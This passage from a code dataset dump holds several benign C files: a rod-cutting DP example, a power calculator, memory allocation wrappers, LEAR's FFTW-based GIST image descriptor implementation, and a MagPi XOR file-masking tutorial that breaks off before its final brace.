file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/978828.c | #include <stdio.h>
int main() {
// tamanho da haste.
int n = 5;
// Preço para cada tamanho de corte.
// ex. para o tamanho 1 o preço é 2.
int precos_corte[] = {2,4,3,1,5};
int i, j;
// Vetor de memorização.
int memo[n+1];
memo[0] = 0; // Solução trivial - corte de tamanho zero com preço zero.
for(i = 1; i <= n; ++i) {
int q = -1;
for(j = 1; j <= i; ++j) {
if(q < (precos_corte[j-1] + memo[i-j])) {
q = precos_corte[j-1]+memo[i-j];
}
}
memo[i] = q;
}
// Solução está na última posição do vetor de memorização:
printf("Valor de venda = %d",memo[n]);
return 0;
} |
the_stack_data/151706073.c | #include <stdio.h>
int main() {
float y, x;
int n;
scanf("%f %d", &x, &n);
y = 1;
int i;
for(i = 0; i < n; ++i) {
y = y * x;
}
printf("%.2f^%d = %.2f", x, n, y);
return 0;
}
|
the_stack_data/161079972.c |
#include "error.h"
#include <malloc.h>
void* mem_alloc(unsigned long size)
{
void *ptr = malloc(size);
if (!ptr) {
runtime_error("out of memory");
}
return ptr;
}
void *mem_realloc(void *ptr, unsigned long size)
{
void *reptr = realloc(ptr, size);
if (!reptr) {
runtime_error("out of memory");
}
return reptr;
}
void *mem_calloc(unsigned long size)
{
void *ptr = calloc(size, 1);
if (!ptr) {
runtime_error("out of memory");
}
return ptr;
}
void mem_free(void *ptr)
{
free(ptr);
} |
the_stack_data/1253977.c | /* Lear's GIST implementation, version 1.1, (c) INRIA 2009, Licence: PSFL */
/*--------------------------------------------------------------------------*/
#ifdef USE_GIST
/*--------------------------------------------------------------------------*/
#include <math.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <assert.h>
#include <fftw3.h>
#include <pthread.h>
#ifdef STANDALONE_GIST
#include "gist.h"
#else
#include <image.h>
#include <descriptors.h>
#endif
/*--------------------------------------------------------------------------*/
static pthread_mutex_t fftw_mutex = PTHREAD_MUTEX_INITIALIZER;
static void fftw_lock(void)
{
pthread_mutex_lock(&fftw_mutex);
}
static void fftw_unlock(void)
{
pthread_mutex_unlock(&fftw_mutex);
}
/*--------------------------------------------------------------------------*/
static image_t *image_add_padding(image_t *src, int padding)
{
int i, j;
image_t *img = image_new(src->width + 2*padding, src->height + 2*padding);
memset(img->data, 0x00, img->stride*img->height*sizeof(float));
for(j = 0; j < src->height; j++)
{
for(i = 0; i < src->width; i++) {
img->data[(j+padding)*img->stride+i+padding] = src->data[j*src->stride+i];
}
}
for(j = 0; j < padding; j++)
{
for(i = 0; i < src->width; i++)
{
img->data[j*img->stride+i+padding] = src->data[(padding-j-1)*src->stride+i];
img->data[(j+padding+src->height)*img->stride+i+padding] = src->data[(src->height-j-1)*src->stride+i];
}
}
for(j = 0; j < img->height; j++)
{
for(i = 0; i < padding; i++)
{
img->data[j*img->stride+i] = img->data[j*img->stride+padding+padding-i-1];
img->data[j*img->stride+i+padding+src->width] = img->data[j*img->stride+img->width-padding-i-1];
}
}
return img;
}
/*--------------------------------------------------------------------------*/
static color_image_t *color_image_add_padding(color_image_t *src, int padding)
{
int i, j;
color_image_t *img = color_image_new(src->width + 2*padding, src->height + 2*padding);
for(j = 0; j < src->height; j++)
{
for(i = 0; i < src->width; i++)
{
img->c1[(j+padding)*img->width+i+padding] = src->c1[j*src->width+i];
img->c2[(j+padding)*img->width+i+padding] = src->c2[j*src->width+i];
img->c3[(j+padding)*img->width+i+padding] = src->c3[j*src->width+i];
}
}
for(j = 0; j < padding; j++)
{
for(i = 0; i < src->width; i++)
{
img->c1[j*img->width+i+padding] = src->c1[(padding-j-1)*src->width+i];
img->c2[j*img->width+i+padding] = src->c2[(padding-j-1)*src->width+i];
img->c3[j*img->width+i+padding] = src->c3[(padding-j-1)*src->width+i];
img->c1[(j+padding+src->height)*img->width+i+padding] = src->c1[(src->height-j-1)*src->width+i];
img->c2[(j+padding+src->height)*img->width+i+padding] = src->c2[(src->height-j-1)*src->width+i];
img->c3[(j+padding+src->height)*img->width+i+padding] = src->c3[(src->height-j-1)*src->width+i];
}
}
for(j = 0; j < img->height; j++)
{
for(i = 0; i < padding; i++)
{
img->c1[j*img->width+i] = img->c1[j*img->width+padding+padding-i-1];
img->c2[j*img->width+i] = img->c2[j*img->width+padding+padding-i-1];
img->c3[j*img->width+i] = img->c3[j*img->width+padding+padding-i-1];
img->c1[j*img->width+i+padding+src->width] = img->c1[j*img->width+img->width-padding-i-1];
img->c2[j*img->width+i+padding+src->width] = img->c2[j*img->width+img->width-padding-i-1];
img->c3[j*img->width+i+padding+src->width] = img->c3[j*img->width+img->width-padding-i-1];
}
}
return img;
}
/*--------------------------------------------------------------------------*/
static void image_rem_padding(image_t *dest, image_t *src, int padding)
{
int i, j;
for(j = 0; j < dest->height; j++)
{
for(i = 0; i < dest->width; i++) {
dest->data[j*dest->stride+i] = src->data[(j+padding)*src->stride+i+padding];
}
}
}
/*--------------------------------------------------------------------------*/
static void color_image_rem_padding(color_image_t *dest, color_image_t *src, int padding)
{
int i, j;
for(j = 0; j < dest->height; j++)
{
for(i = 0; i < dest->width; i++)
{
dest->c1[j*dest->width+i] = src->c1[(j+padding)*src->width+i+padding];
dest->c2[j*dest->width+i] = src->c2[(j+padding)*src->width+i+padding];
dest->c3[j*dest->width+i] = src->c3[(j+padding)*src->width+i+padding];
}
}
}
/*--------------------------------------------------------------------------*/
static void fftshift(float *data, int w, int h)
{
int i, j;
float *buff = (float *) malloc(w*h*sizeof(float));
memcpy(buff, data, w*h*sizeof(float));
for(j = 0; j < (h+1)/2; j++)
{
for(i = 0; i < (w+1)/2; i++) {
data[(j+h/2)*w + i+w/2] = buff[j*w + i];
}
for(i = 0; i < w/2; i++) {
data[(j+h/2)*w + i] = buff[j*w + i+(w+1)/2];
}
}
for(j = 0; j < h/2; j++)
{
for(i = 0; i < (w+1)/2; i++) {
data[j*w + i+w/2] = buff[(j+(h+1)/2)*w + i];
}
for(i = 0; i < w/2; i++) {
data[j*w + i] = buff[(j+(h+1)/2)*w + i+(w+1)/2];
}
}
free(buff);
}
/*--------------------------------------------------------------------------*/
static image_list_t *create_gabor(int nscales, const int *or, int width, int height)
{
int i, j, fn;
image_list_t *G = image_list_new();
int nfilters = 0;
for(i=0;i<nscales;i++) nfilters+=or[i];
float **param = (float **) malloc(nscales * nfilters * sizeof(float *));
for(i = 0; i < nscales * nfilters; i++) {
param[i] = (float *) malloc(4*sizeof(float));
}
float *fx = (float *) malloc(width*height*sizeof(float));
float *fy = (float *) malloc(width*height*sizeof(float));
float *fr = (float *) malloc(width*height*sizeof(float));
float *f = (float *) malloc(width*height*sizeof(float));
int l = 0;
for(i = 1; i <= nscales; i++)
{
for(j = 1; j <= or[i-1]; j++)
{
param[l][0] = 0.35f;
param[l][1] = 0.3/pow(1.85f, i-1);
param[l][2] = 16*pow(or[i-1], 2)/pow(32, 2);
param[l][3] = M_PI/(or[i-1])*(j-1);
l++;
}
}
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
fx[j*width + i] = (float) i - width/2.0f;
fy[j*width + i] = (float) j - height/2.0f;
fr[j*width + i] = sqrt(fx[j*width + i]*fx[j*width + i] + fy[j*width + i]*fy[j*width + i]);
f[j*width + i] = atan2(fy[j*width + i], fx[j*width + i]);
}
}
fftshift(fr, width, height);
fftshift(f, width, height);
for(fn = 0; fn < nfilters; fn++)
{
image_t *G0 = image_new(width, height);
float *f_ptr = f;
float *fr_ptr = fr;
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
float tmp = *f_ptr++ + param[fn][3];
if(tmp < -M_PI) {
tmp += 2.0f*M_PI;
}
else if (tmp > M_PI) {
tmp -= 2.0f*M_PI;
}
G0->data[j*G0->stride+i] = exp(-10.0f*param[fn][0]*(*fr_ptr/height/param[fn][1]-1)*(*fr_ptr/width/param[fn][1]-1)-2.0f*param[fn][2]*M_PI*tmp*tmp);
fr_ptr++;
}
}
image_list_append(G, G0);
}
for(i = 0; i < nscales * nfilters; i++) {
free(param[i]);
}
free(param);
free(fx);
free(fy);
free(fr);
free(f);
return G;
}
/*--------------------------------------------------------------------------*/
/*static*/ void prefilt(image_t *src, int fc)
{
fftw_lock();
int i, j;
/* Log */
for(j = 0; j < src->height; j++)
{
for(i = 0; i < src->width; i++) {
src->data[j*src->stride+i] = log(src->data[j*src->stride+i]+1.0f);
}
}
image_t *img_pad = image_add_padding(src, 5);
/* Get sizes */
int width = img_pad->width;
int height = img_pad->height;
int stride = img_pad->stride;
/* Alloc memory */
float *fx = (float *) fftwf_malloc(width*height*sizeof(float));
float *fy = (float *) fftwf_malloc(width*height*sizeof(float));
float *gfc = (float *) fftwf_malloc(width*height*sizeof(float));
fftwf_complex *in1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *in2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *out = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
/* Build whitening filter */
float s1 = fc/sqrt(log(2));
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
in1[j*width + i][0] = img_pad->data[j*stride+i];
in1[j*width + i][1] = 0.0f;
fx[j*width + i] = (float) i - width/2.0f;
fy[j*width + i] = (float) j - height/2.0f;
gfc[j*width + i] = exp(-(fx[j*width + i]*fx[j*width + i] + fy[j*width + i]*fy[j*width + i]) / (s1*s1));
}
}
fftshift(gfc, width, height);
/* FFT */
fftwf_plan fft1 = fftwf_plan_dft_2d(width, height, in1, out, FFTW_FORWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(fft1);
fftw_lock();
/* Apply whitening filter */
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
out[j*width+i][0] *= gfc[j*width + i];
out[j*width+i][1] *= gfc[j*width + i];
}
}
/* IFFT */
fftwf_plan ifft1 = fftwf_plan_dft_2d(width, height, out, in2, FFTW_BACKWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(ifft1);
fftw_lock();
/* Local contrast normalisation */
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
img_pad->data[j*stride + i] -= in2[j*width+i][0] / (width*height);
in1[j*width + i][0] = img_pad->data[j*stride + i] * img_pad->data[j*stride + i];
in1[j*width + i][1] = 0.0f;
}
}
/* FFT */
fftwf_plan fft2 = fftwf_plan_dft_2d(width, height, in1, out, FFTW_FORWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(fft2);
fftw_lock();
/* Apply contrast normalisation filter */
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
out[j*width+i][0] *= gfc[j*width + i];
out[j*width+i][1] *= gfc[j*width + i];
}
}
/* IFFT */
fftwf_plan ifft2 = fftwf_plan_dft_2d(width, height, out, in2, FFTW_BACKWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(ifft2);
fftw_lock();
/* Get result from contrast normalisation filter */
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++) {
img_pad->data[j*stride+i] = img_pad->data[j*stride + i] / (0.2f+sqrt(sqrt(in2[j*width+i][0]*in2[j*width+i][0]+in2[j*width+i][1]*in2[j*width+i][1]) / (width*height)));
}
}
image_rem_padding(src, img_pad, 5);
/* Free */
fftwf_destroy_plan(fft1);
fftwf_destroy_plan(fft2);
fftwf_destroy_plan(ifft1);
fftwf_destroy_plan(ifft2);
image_delete(img_pad);
fftwf_free(in1);
fftwf_free(in2);
fftwf_free(out);
fftwf_free(fx);
fftwf_free(fy);
fftwf_free(gfc);
fftw_unlock();
}
/*--------------------------------------------------------------------------*/
static void color_prefilt(color_image_t *src, int fc)
{
fftw_lock();
int i, j;
/* Log */
for(j = 0; j < src->height; j++)
{
for(i = 0; i < src->width; i++)
{
src->c1[j*src->width+i] = log(src->c1[j*src->width+i]+1.0f);
src->c2[j*src->width+i] = log(src->c2[j*src->width+i]+1.0f);
src->c3[j*src->width+i] = log(src->c3[j*src->width+i]+1.0f);
}
}
color_image_t *img_pad = color_image_add_padding(src, 5);
/* Get sizes */
int width = img_pad->width;
int height = img_pad->height;
/* Alloc memory */
float *fx = (float *) fftwf_malloc(width*height*sizeof(float));
float *fy = (float *) fftwf_malloc(width*height*sizeof(float));
float *gfc = (float *) fftwf_malloc(width*height*sizeof(float));
fftwf_complex *ina1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *ina2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *ina3 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *inb1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *inb2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *inb3 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *out1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *out2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *out3 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
/* Build whitening filter */
float s1 = fc/sqrt(log(2));
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
ina1[j*width + i][0] = img_pad->c1[j*width+i];
ina2[j*width + i][0] = img_pad->c2[j*width+i];
ina3[j*width + i][0] = img_pad->c3[j*width+i];
ina1[j*width + i][1] = 0.0f;
ina2[j*width + i][1] = 0.0f;
ina3[j*width + i][1] = 0.0f;
fx[j*width + i] = (float) i - width/2.0f;
fy[j*width + i] = (float) j - height/2.0f;
gfc[j*width + i] = exp(-(fx[j*width + i]*fx[j*width + i] + fy[j*width + i]*fy[j*width + i]) / (s1*s1));
}
}
fftshift(gfc, width, height);
/* FFT */
fftwf_plan fft11 = fftwf_plan_dft_2d(width, height, ina1, out1, FFTW_FORWARD, FFTW_ESTIMATE);
fftwf_plan fft12 = fftwf_plan_dft_2d(width, height, ina2, out2, FFTW_FORWARD, FFTW_ESTIMATE);
fftwf_plan fft13 = fftwf_plan_dft_2d(width, height, ina3, out3, FFTW_FORWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(fft11);
fftwf_execute(fft12);
fftwf_execute(fft13);
fftw_lock();
/* Apply whitening filter */
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
out1[j*width+i][0] *= gfc[j*width + i];
out2[j*width+i][0] *= gfc[j*width + i];
out3[j*width+i][0] *= gfc[j*width + i];
out1[j*width+i][1] *= gfc[j*width + i];
out2[j*width+i][1] *= gfc[j*width + i];
out3[j*width+i][1] *= gfc[j*width + i];
}
}
/* IFFT */
fftwf_plan ifft11 = fftwf_plan_dft_2d(width, height, out1, inb1, FFTW_BACKWARD, FFTW_ESTIMATE);
fftwf_plan ifft12 = fftwf_plan_dft_2d(width, height, out2, inb2, FFTW_BACKWARD, FFTW_ESTIMATE);
fftwf_plan ifft13 = fftwf_plan_dft_2d(width, height, out3, inb3, FFTW_BACKWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(ifft11);
fftwf_execute(ifft12);
fftwf_execute(ifft13);
fftw_lock();
/* Local contrast normalisation */
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
img_pad->c1[j*width+i] -= inb1[j*width+i][0] / (width*height);
img_pad->c2[j*width+i] -= inb2[j*width+i][0] / (width*height);
img_pad->c3[j*width+i] -= inb3[j*width+i][0] / (width*height);
float mean = (img_pad->c1[j*width+i] + img_pad->c2[j*width+i] + img_pad->c3[j*width+i])/3.0f;
ina1[j*width+i][0] = mean*mean;
ina1[j*width+i][1] = 0.0f;
}
}
/* FFT */
fftwf_plan fft21 = fftwf_plan_dft_2d(width, height, ina1, out1, FFTW_FORWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(fft21);
fftw_lock();
/* Apply contrast normalisation filter */
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
out1[j*width+i][0] *= gfc[j*width + i];
out1[j*width+i][1] *= gfc[j*width + i];
}
}
/* IFFT */
fftwf_plan ifft2 = fftwf_plan_dft_2d(width, height, out1, inb1, FFTW_BACKWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(ifft2);
fftw_lock();
/* Get result from contrast normalisation filter */
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
float val = sqrt(sqrt(inb1[j*width+i][0]*inb1[j*width+i][0]+inb1[j*width+i][1]*inb1[j*width+i][1]) / (width*height));
img_pad->c1[j*width+i] /= (0.2f+val);
img_pad->c2[j*width+i] /= (0.2f+val);
img_pad->c3[j*width+i] /= (0.2f+val);
}
}
color_image_rem_padding(src, img_pad, 5);
/* Free */
fftwf_destroy_plan(fft11);
fftwf_destroy_plan(fft12);
fftwf_destroy_plan(fft13);
fftwf_destroy_plan(ifft11);
fftwf_destroy_plan(ifft12);
fftwf_destroy_plan(ifft13);
fftwf_destroy_plan(fft21);
fftwf_destroy_plan(ifft2);
color_image_delete(img_pad);
fftwf_free(ina1);
fftwf_free(ina2);
fftwf_free(ina3);
fftwf_free(inb1);
fftwf_free(inb2);
fftwf_free(inb3);
fftwf_free(out1);
fftwf_free(out2);
fftwf_free(out3);
fftwf_free(fx);
fftwf_free(fy);
fftwf_free(gfc);
fftw_unlock();
}
/*--------------------------------------------------------------------------*/
static void down_N(float *res, image_t *src, int N)
{
int i, j, k, l;
int *nx = (int *) malloc((N+1)*sizeof(int));
int *ny = (int *) malloc((N+1)*sizeof(int));
for(i = 0; i < N+1; i++)
{
nx[i] = i*src->width/(N);
ny[i] = i*src->height/(N);
}
for(l = 0; l < N; l++)
{
for(k = 0; k < N; k++)
{
float mean = 0.0f;
for(j = ny[l]; j < ny[l+1]; j++)
{
for(i = nx[k]; i < nx[k+1]; i++) {
mean += src->data[j*src->stride+i];
}
}
float denom = (float)(ny[l+1]-ny[l])*(nx[k+1]-nx[k]);
res[k*N+l] = mean / denom;
}
}
free(nx);
free(ny);
}
/*--------------------------------------------------------------------------*/
static void color_down_N(float *res, color_image_t *src, int N, int c)
{
int i, j, k, l;
int *nx = (int *) malloc((N+1)*sizeof(int));
int *ny = (int *) malloc((N+1)*sizeof(int));
for(i = 0; i < N+1; i++)
{
nx[i] = i*src->width/(N);
ny[i] = i*src->height/(N);
}
for(l = 0; l < N; l++)
{
for(k = 0; k < N; k++)
{
float mean = 0.0f;
float *ptr;
switch(c)
{
case 0:
ptr = src->c1;
break;
case 1:
ptr = src->c2;
break;
case 2:
ptr = src->c3;
break;
default:
return;
}
for(j = ny[l]; j < ny[l+1]; j++)
{
for(i = nx[k]; i < nx[k+1]; i++)
{
mean += ptr[j*src->width+i];
}
}
float denom = (float)(ny[l+1]-ny[l])*(nx[k+1]-nx[k]);
res[k*N+l] = mean / denom;
assert(finite(res[k*N+l]));
}
}
free(nx);
free(ny);
}
/*--------------------------------------------------------------------------*/
/*static*/ float *gist_gabor(image_t *src, const int w, image_list_t *G)
{
fftw_lock();
int i, j, k;
/* Get sizes */
int width = src->width;
int height = src->height;
int stride = src->stride;
float *res = (float *) malloc(w*w*G->size*sizeof(float));
fftwf_complex *in1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *in2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *out1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *out2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
in1[j*width + i][0] = src->data[j*stride+i];
in1[j*width + i][1] = 0.0f;
}
}
/* FFT */
fftwf_plan fft = fftwf_plan_dft_2d(width, height, in1, out1, FFTW_FORWARD, FFTW_ESTIMATE);
fftwf_plan ifft = fftwf_plan_dft_2d(width, height, out2, in2, FFTW_BACKWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(fft);
for(k = 0; k < G->size; k++)
{
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
out2[j*width+i][0] = out1[j*width+i][0] * G->data[k]->data[j*stride+i];
out2[j*width+i][1] = out1[j*width+i][1] * G->data[k]->data[j*stride+i];
}
}
fftwf_execute(ifft);
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++) {
src->data[j*stride+i] = sqrt(in2[j*width+i][0]*in2[j*width+i][0]+in2[j*width+i][1]*in2[j*width+i][1])/(width*height);
}
}
down_N(res+k*w*w, src, w);
}
fftw_lock();
fftwf_destroy_plan(fft);
fftwf_destroy_plan(ifft);
fftwf_free(in1);
fftwf_free(in2);
fftwf_free(out1);
fftwf_free(out2);
fftw_unlock();
return res;
}
/*--------------------------------------------------------------------------*/
static float *color_gist_gabor(color_image_t *src, const int w, image_list_t *G)
{
fftw_lock();
int i, j, k;
/* Get sizes */
int width = src->width;
int height = src->height;
float *res = (float *) malloc(3*w*w*G->size*sizeof(float));
fftwf_complex *ina1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *ina2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *ina3 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *inb1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *inb2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *inb3 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *outa1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *outa2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *outa3 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *outb1 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *outb2 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
fftwf_complex *outb3 = (fftwf_complex *) fftwf_malloc(width*height*sizeof(fftwf_complex));
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
ina1[j*width+i][0] = src->c1[j*width+i];
ina2[j*width+i][0] = src->c2[j*width+i];
ina3[j*width+i][0] = src->c3[j*width+i];
ina1[j*width+i][1] = 0.0f;
ina2[j*width+i][1] = 0.0f;
ina3[j*width+i][1] = 0.0f;
}
}
/* FFT */
fftwf_plan fft1 = fftwf_plan_dft_2d(width, height, ina1, outa1, FFTW_FORWARD, FFTW_ESTIMATE);
fftwf_plan fft2 = fftwf_plan_dft_2d(width, height, ina2, outa2, FFTW_FORWARD, FFTW_ESTIMATE);
fftwf_plan fft3 = fftwf_plan_dft_2d(width, height, ina3, outa3, FFTW_FORWARD, FFTW_ESTIMATE);
fftwf_plan ifft1 = fftwf_plan_dft_2d(width, height, outb1, inb1, FFTW_BACKWARD, FFTW_ESTIMATE);
fftwf_plan ifft2 = fftwf_plan_dft_2d(width, height, outb2, inb2, FFTW_BACKWARD, FFTW_ESTIMATE);
fftwf_plan ifft3 = fftwf_plan_dft_2d(width, height, outb3, inb3, FFTW_BACKWARD, FFTW_ESTIMATE);
fftw_unlock();
fftwf_execute(fft1);
fftwf_execute(fft2);
fftwf_execute(fft3);
for(k = 0; k < G->size; k++)
{
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
outb1[j*width+i][0] = outa1[j*width+i][0] * G->data[k]->data[j*G->data[k]->stride+i];
outb2[j*width+i][0] = outa2[j*width+i][0] * G->data[k]->data[j*G->data[k]->stride+i];
outb3[j*width+i][0] = outa3[j*width+i][0] * G->data[k]->data[j*G->data[k]->stride+i];
outb1[j*width+i][1] = outa1[j*width+i][1] * G->data[k]->data[j*G->data[k]->stride+i];
outb2[j*width+i][1] = outa2[j*width+i][1] * G->data[k]->data[j*G->data[k]->stride+i];
outb3[j*width+i][1] = outa3[j*width+i][1] * G->data[k]->data[j*G->data[k]->stride+i];
}
}
fftwf_execute(ifft1);
fftwf_execute(ifft2);
fftwf_execute(ifft3);
for(j = 0; j < height; j++)
{
for(i = 0; i < width; i++)
{
src->c1[j*width+i] = sqrt(inb1[j*width+i][0]*inb1[j*width+i][0]+inb1[j*width+i][1]*inb1[j*width+i][1])/(width*height);
src->c2[j*width+i] = sqrt(inb2[j*width+i][0]*inb2[j*width+i][0]+inb2[j*width+i][1]*inb2[j*width+i][1])/(width*height);
src->c3[j*width+i] = sqrt(inb3[j*width+i][0]*inb3[j*width+i][0]+inb3[j*width+i][1]*inb3[j*width+i][1])/(width*height);
}
}
color_down_N(res+0*G->size*w*w+k*w*w, src, w, 0);
color_down_N(res+1*G->size*w*w+k*w*w, src, w, 1);
color_down_N(res+2*G->size*w*w+k*w*w, src, w, 2);
}
fftw_lock();
fftwf_destroy_plan(fft1);
fftwf_destroy_plan(fft2);
fftwf_destroy_plan(fft3);
fftwf_destroy_plan(ifft1);
fftwf_destroy_plan(ifft2);
fftwf_destroy_plan(ifft3);
fftwf_free(ina1);
fftwf_free(ina2);
fftwf_free(ina3);
fftwf_free(inb1);
fftwf_free(inb2);
fftwf_free(inb3);
fftwf_free(outa1);
fftwf_free(outa2);
fftwf_free(outa3);
fftwf_free(outb1);
fftwf_free(outb2);
fftwf_free(outb3);
fftw_unlock();
return res;
}
/*--------------------------------------------------------------------------*/
float *bw_gist(image_t *src, int w, int a, int b, int c)
{
int orientationsPerScale[3];
orientationsPerScale[0] = a;
orientationsPerScale[1] = b;
orientationsPerScale[2] = c;
return bw_gist_scaletab(src,w,3,orientationsPerScale);
}
float *bw_gist_scaletab(image_t *src, int w, int n_scale, const int *n_orientation)
{
int i;
if(src->width < 8 || src->height < 8)
{
fprintf(stderr, "Error: bw_gist_scaletab() - Image not big enough !\n");
return NULL;
}
int numberBlocks = w;
int tot_oris=0;
for(i=0;i<n_scale;i++) tot_oris+=n_orientation[i];
image_t *img = image_cpy(src);
image_list_t *G = create_gabor(n_scale, n_orientation, img->width, img->height);
prefilt(img, 4);
float *g = gist_gabor(img, numberBlocks, G);
for(i = 0; i < tot_oris*w*w; i++)
{
if(!finite(g[i]))
{
fprintf(stderr, "Error: bw_gist_scaletab() - descriptor not valid (nan or inf)\n");
free(g); g=NULL;
break;
}
}
image_list_delete(G);
image_delete(img);
return g;
}
/*--------------------------------------------------------------------------*/
float *color_gist(color_image_t *src, int w, int a, int b, int c) {
int orientationsPerScale[3];
orientationsPerScale[0] = a;
orientationsPerScale[1] = b;
orientationsPerScale[2] = c;
return color_gist_scaletab(src,w,3,orientationsPerScale);
}
float *color_gist_scaletab(color_image_t *src, int w, int n_scale, const int *n_orientation)
{
int i;
if(src->width < 8 || src->height < 8)
{
fprintf(stderr, "Error: color_gist_scaletab() - Image not big enough !\n");
return NULL;
}
int numberBlocks = w;
int tot_oris=0;
for(i=0;i<n_scale;i++) tot_oris+=n_orientation[i];
color_image_t *img = color_image_cpy(src);
image_list_t *G = create_gabor(n_scale, n_orientation, img->width, img->height);
color_prefilt(img, 4);
float *g = color_gist_gabor(img, numberBlocks, G);
for(i = 0; i < tot_oris*w*w*3; i++)
{
if(!finite(g[i]))
{
fprintf(stderr, "Error: color_gist_scaletab() - descriptor not valid (nan or inf)\n");
free(g); g=NULL;
break;
}
}
image_list_delete(G);
color_image_delete(img);
return g;
}
#ifndef STANDALONE_GIST
/*--------------------------------------------------------------------------*/
local_desc_list_t *descriptor_bw_gist_cpu(image_t *src, int a, int b, int c, int w)
{
local_desc_list_t *desc_list = local_desc_list_new();
float *desc_raw = bw_gist(src, w, a, b, c);
local_desc_t *desc = local_desc_new();
desc->desc_size = (a+b+c)*w*w;
desc->desc = (float *) malloc(desc->desc_size*sizeof(float));
memcpy(desc->desc, desc_raw, desc->desc_size*sizeof(float));
local_desc_list_append(desc_list, desc);
free(desc_raw);
return desc_list;
}
/*--------------------------------------------------------------------------*/
local_desc_list_t *descriptor_color_gist_cpu(color_image_t *src, int a, int b, int c, int w)
{
local_desc_list_t *desc_list = local_desc_list_new();
float *desc_raw = color_gist(src, w, a, b, c);
local_desc_t *desc = local_desc_new();
desc->desc_size = 3*(a+b+c)*w*w;
desc->desc = (float *) malloc(desc->desc_size*sizeof(float));
memcpy(desc->desc, desc_raw, desc->desc_size*sizeof(float));
local_desc_list_append(desc_list, desc);
free(desc_raw);
return desc_list;
}
/*--------------------------------------------------------------------------*/
#endif
#endif
/*--------------------------------------------------------------------------*/
|
the_stack_data/182952580.c | /* today is 389f */
/* the C cave */
/* magPi - 05 */
#include <stdio.h>
#include <stdlib.h>
int newMask()
{
int mask = (double)rand()/RAND_MAX*254+1;
return mask;
}
int main(int argc, char *argv[])
{
int seed = 0xA3, mask = 0;
char c;
FILE *inputFile = 0, *outputFile = 0;
srand(seed); /* Set the seed value. */
/* Check the number of arguments */
if(argc!=3)
{
printf(" Usage: %s <input file> <output file>\n",argv[0]);
return 1; /* Report an error */
}
inputFile = fopen(argv[1],"r"); /* Open the input file. */
if(!inputFile) return 2;
outputFile = fopen(argv[2],"w"); /* Open the output file. */
if(!outputFile) return 3;
c = fgetc(inputFile); /* Get the first character. */
/* Loop until end-of-file is reached. */
while(c != EOF)
{
mask = newMask(); /* Get a new mask value. */
printf("mask = %d\n",mask);
c ^= mask; /* Exclusive-OR with the mask. */
fputc(c,outputFile); /* Write to the output file. */
c = fgetc(inputFile); /* Get another character. */
if(c=='!') break;
}
/* Close the files. */
fclose(inputFile);
fclose(outputFile);
return 0;
